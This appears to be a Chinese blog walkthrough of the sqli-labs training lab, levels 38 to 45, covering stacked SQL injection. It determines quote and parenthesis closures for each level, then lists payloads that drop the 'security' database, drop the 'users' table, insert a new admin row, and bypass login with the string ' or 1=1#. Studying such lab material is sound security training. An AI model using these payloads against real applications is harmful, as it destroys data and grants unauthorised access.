当前位置: 首页 > news >正文

sqli-labs靶场38-45关(堆叠注入)

目录

less38(堆叠注入1)

less39(堆叠注入2)

less40(堆叠注入3)

 less41(堆叠注入4)

less42(堆叠注入5)

less43(堆叠注入6)

less44(堆叠注入7)

less45(堆叠注入8)



less38(堆叠注入1)

mysqli_multi_query函数——执行多个 SQL 语句,这些语句在字符串 $sql 中用分号分隔。

mysqli_store_result函数——获取第一个查询的结果集,并将其存储在内存中。

mysqli_fetch_row函数——从结果集中获取一行数据,返回一个索引数组。

所以查询只会返回分号前面的结果,不显示后面查询的结果。

但是分号后面可以是执行增删改操作的语句。

分号前面需要闭合,分号后面是需要执行的恶意操作。

比如:

?id=1';drop database security;

?id=1';drop table users;

?id=1';insert into users(username,password) values ('admin1','123456');

要注入的话直接union注入就行。



less39(堆叠注入2)

和less38一样



less40(堆叠注入3)

?id=1'——不正常回显,判断为单引号闭合

?id=1'--+——不正常回显,说明还没有完全闭合

?id=1')--+——正常回显,判断为')闭合

判断好闭合后,利用堆叠注入:

?id=1');drop database security;

?id=1');drop table users;

?id=1');insert into users(username,password) values ('admin1','123456');



 less41(堆叠注入4)

?id=1'不正常回显,?id=1'--+不正常回显

?id=1')--+以及?id=1'))--+都不正常回显,说明可能是数字型

?id=1 and 1=1正常回显,判断为数字型

利用堆叠查询:

?id=1;drop database security;

?id=1;drop table users;

?id=1;insert into users(username,password) values ('admin1','123456');



less42(堆叠注入5)

username随便输

password输入万能密码:' or 1=1#成功登录

——单引号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

';drop database security;

';drop table users;

';insert into users(username,password) values ('admin1','123456');



less43(堆叠注入6)

和less42差不多,

username随便输

password输入万能密码:') or 1=1#成功登录

——单引号括号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

');drop database security;

');drop table users;

');insert into users(username,password) values ('admin1','123456');



less44(堆叠注入7)

和less42一样:

username随便输

password输入万能密码:' or 1=1#成功登录

——单引号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

';drop database security;

';drop table users;

';insert into users(username,password) values ('admin1','123456');



less45(堆叠注入8)

和less43一样:

username随便输

password输入万能密码:') or 1=1#成功登录

——单引号括号闭合,注入点在password处

利用堆叠注入:

username随便输

password输入:

');drop database security;

');drop table users;

');insert into users(username,password) values ('admin1','123456');



http://www.lqws.cn/news/137827.html

相关文章:

  • 2025年五一数学建模竞赛A题-支路车流量推测问题详细建模与源代码编写(一)
  • fmod产生的误差应该如何解决?
  • Android studio初体验
  • yoloe优化:可支持点提示进行检测分割
  • AI系统提示词:Claude 4 Opus
  • 《PyTorch Hub:解锁深度学习模型的百宝箱》
  • Linux网络socket套接字(上)(2)
  • 【Linux】线程同步
  • 如何轻松地将文件从 PC 传输到 iPhone?
  • c++ STL 仿函数和适配器(算法常用)
  • 在树莓派上添加音频输入设备的几种方法
  • Deepin 安装 Nginx
  • 【JVM】Java类加载机制
  • fastadmin+workman环境搭建
  • Rust学习(1)
  • [Java 基础]枚举
  • Linux操作系统shell脚本
  • [Java 基础]面向对象-多态
  • 关于物联网的基础知识(一)
  • 职坐标IT教育物联网全栈开发实战:传感器到云平台全链路
  • ‌RF Choke(射频扼流圈)
  • 第十三节:第二部分:集合框架:Map系列集合:概述、常用方法
  • thymeleaf直接调用Spring Bean中定义的方法
  • Python 开发效率秘籍:PyCharm、VS Code 与 Anaconda 配置与实战全解
  • 【会员专享数据】1960—2023年我国省市县三级逐年降水量数据(Shp/Excel格式)
  • UDP包大小与丢包率的关系:原理分析与优化实践
  • 解决el-cascader组件下拉选项过长,数据回显无法换行显示的问题
  • JavaScript中判断两个对象是否相同(所有属性的值是否都相同)
  • 电商接口计费标准是什么?
  • 数据“出国”需办“签证”: 如何申请数据出境安全评估?